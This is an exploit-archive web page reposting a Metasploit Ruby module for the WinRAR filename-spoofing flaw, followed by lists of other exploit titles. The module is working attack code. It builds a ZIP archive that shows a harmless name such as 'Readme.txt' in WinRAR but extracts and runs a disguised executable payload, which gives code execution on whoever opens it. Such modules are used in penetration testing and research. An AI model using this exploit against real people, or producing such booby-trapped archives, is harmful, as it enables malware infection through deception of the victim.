首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WinRAR Filename Spoofing
来源:metasploit.com 作者:vazquez 发布时间:2014-04-08  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WinRAR Filename Spoofing',
      'Description'    => %q{
        This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
        when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
        the central directory, but the file names used to extract and open contents come from the
        Local File Header. This inconsistency allows to spoof file names when opening ZIP files
        with WinRAR, which can be abused to execute arbitrary code, as exploited in the wild in
        March 2014
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'chr1x', # Vulnerability discoverer according to OSVDB
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '62610' ],
          [ 'BID', '66383' ],
          [ 'URL', 'http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html'],
          [ 'URL', 'http://an7isec.blogspot.co.il/']
        ],
      'Platform'          => [ 'win' ],
      'Payload'           =>
        {
          'DisableNops' => true,
          'Space' => 4096
        },
      'Targets'        =>
        [
          [ 'Windows Universal', {} ]
        ],
      'DisclosureDate' => 'Sep 28 2009',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']),
        OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
      ], self.class)

  end

  def exploit
    exe_filename = rand_text_alpha(rand(6) + 1)
    exe_filename << ".exe"

    zip = Rex::Zip::Archive.new
    zip.add_file(exe_filename, generate_payload_exe, nil, nil, datastore['SPOOF'])
    pack = zip.pack

    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(pack)
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Fritz!Box Webcm Unauthenticate
·BlazeDVD Pro Player 6.1 - Stac
·MacOSX 10.9.2/XNU HFS Hard Lin
·OpenSSL TLS Heartbeat Extensio
·Google Voice Private/Unknown N
·Vtiger Install Unauthenticated
·MA Lighting Technology grandMA
·Sun Java Runtime Environment 1
·ibstat $PATH Privilege Escalat
·OpenSSL 1.0.1f TLS Heartbeat E
·JIRA Issues Collector Director
·MS14-017 Microsoft Word RTF Ob
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved